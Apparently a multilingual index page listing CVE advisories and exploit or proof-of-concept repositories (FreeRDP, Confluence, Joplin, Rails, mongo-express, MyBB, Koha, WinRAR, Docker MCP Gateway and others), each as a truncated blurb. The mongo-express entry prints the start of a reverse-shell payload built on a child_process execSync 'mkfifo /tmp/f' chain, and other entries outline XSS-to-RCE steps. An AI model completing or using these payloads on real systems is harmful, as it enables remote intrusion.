DEBIAN-CVE-2026-91948

FreeRDP versions before 3.31.0 contain an out-of-bounds write vulnerability in server-side static virtual channel handling when CHANNELOPTIONSHOWPROTOCOL is enabled. Authenticated clients can queue oversized channel messages that cause buffer underflow and corrupt heap memory including live...

CVE-2026-91948

FreeRDP versions before 3.31.0 contain an out-of-bounds write vulnerability in server-side static virtual channel handling when CHANNELOPTIONSHOWPROTOCOL is enabled. Authenticated clients can queue oversized channel messages that cause buffer underflow and corrupt heap memory including live...

CVE-2022-26134-Exploit-Detection

Обнаружение эксплуатации Confluence RCE CVE-2022-26134 Предварительные требования 1. ClamAV Клонируйте этот репозиторий или загрузите Yara-правило на ваш сервер Confluence Мы используем Yara-правило, предоставленное volexity/threat-intel, которые первыми раскрыли эту уязвимость. Git Clone...

Joplin-CVE-2022-35131

Joplin CVE-2022-35131 XSS, приводящий к RCE в Joplin, затрагивает версию 2.8.8 и более ранние. Протестировано и работает на Windows и Linux. Сообщено и исправлено: 2022-06 Технический обзор 1. Создайте заметку с javascript-пейлоадом в качестве заголовка POC ниже 2. Нажмите Ctrl+P и выполните поис...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Remote code execution of user-provided local names in Rails Remote code execution of user-provided local names in Rails 5.0.1 There was a vulnerability in versions of Rails prior to 5.0.1 that would allow an attacker who controlled the locals argument of a render cal...

CVE-2019-10758

CVE-2019-10758 Удаленное выполнение кода в mongo-express, код обратного шелла: POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return...

poc-cribl-rce

Отказ от ответственности Это только для информационных/образовательных целей. Это было собрано для демонстрации уязвимости в инструменте, чтобы поставщик мог проверить исправление. Информация Протестировано на Cribl v1.5.0 — более ранние версии не тестировались, но, вероятно, уязвимы...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 От https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

CVE-2022-1388

F5-CVE-2022-1388-Exploit CVE 2022-1388을 위한 익스플로잇 및 점검 스크립트 사용법 root@kitploit: / | | | || | / | |/ / \ / | | || || | | / /| | | || | ' / /'| |/' |' / /'' / /'| | / / \ V / \ V / | | | | | || ||| / / | /| | / / / / ||| | \ \ / \ / \ | /\ / /| | ./ /\ |/ /./ /./ / | |./ /| || || || | / / / /...

mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - 원격 코드 실행 root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

EUVD-2026-78820

Koha Eval Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Koha. Authentication is required to exploit this vulnerability. The specific flaw exists within the web service, which listens on TCP por...

CVE-2026-19780

CVE-2026-19780 is a remote code execution vulnerability in Koha , a web service listening on TCP port 8081 by default. The flaw stems from improper validation of a user-supplied string before it is passed to the eval function, allowing an authenticated remote attacker to execute arbitrary code in...

mi-laboratorio-log4shell

🚀 Laboratoire Automatisé Log4Shell CVE-2021-44228 Prêt à l'Emploi Un laboratoire de recherche en sécurité automatisé, en une seule commande, conçu pour démontrer et auditer la vulnérabilité d'exécution de code à distance RCE Log4Shell CVE-2021-44228. Ce projet consolide tous les composants...

CVE-2026-2586

Аутентифицированное выполнение кода через EL-инъекцию в GlassFish CVE-2026-2586 Уязвимость инъекции выражений EL в консоли администрирования GlassFish позволяет аутентифицированному пользователю внедрять вредоносные EL-выражения в параметры, обрабатываемые административным веб-интерфейсом. Успешн...

CVE-2025-60751

CVE-2025-60751 PoC для CVE-2025-60751 Затронутый продукт: Geographiclib = v2.5.1 Полная статья доступна по адресу https://zer0matt.blogspot.com/2026/05/cve-2025-60751-geographiclib-stack.html Описание Переполнение стека происходит, когда GeoConvert получает специально сформированный вход...

CVE-2023-38831-POC

Description Nom : CVE-2023-38831 Score CVSS : 7.8 Versions affectées : Winrar 6.23 CVE-2023-38831 est une vulnérabilité zero-day affectant toutes les versions de WinRAR antérieures à 6.23. Le problème réside dans le traitement du format ZIP, ce qui pourrait permettre aux attaquants d'utiliser des...

Codify-TJNULL-OSCP-

Hack The Box — Разбор Codify Полный разбор и прохождение пентеста машины Codify на Hack The Box. 📌 Информация о машине Поле| Значение ---|--- Название| Codify ОС| Linux Сложность| Лёгкая Ключевые концепции| vm2 RCE CVE-2023-30547, перечисление БД SQLite, взлом Bcrypt, эксплуатация подстановочных...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 J'ai créé un exploit python simple pour react2shell CVE-2025-55182 UTILISATION 1. Enregistrez le script : Sauvegardez le code ci-dessus sous exploit.py. 2. Mettez à jour les hôtes : Assurez-vous que reactor.htb résout l'IP cible dans votre fichier /etc/hosts. ech...

CVE-2026-55887

Docker MCP Gateway (versions 0.21.0 through 0.42.2) is vulnerable to an argument injection via the io.docker.server.metadata OCI image label. The label is YAML-unmarshalled into the broad catalog.Server struct, and runtime-shaping fields such as Volumes , User , and ExtraHosts are appended verbat...

EUVD-2026-78684

MCP Gateway allows easy and secure running and deployment of MCP servers. From 0.21.0 until 0.42.2, Docker MCP Gateway YAML-unmarshalled the attacker-controlled io.docker.server.metadata OCI image label into the broad catalog.Server structure for direct docker:// references and catalog snapshot...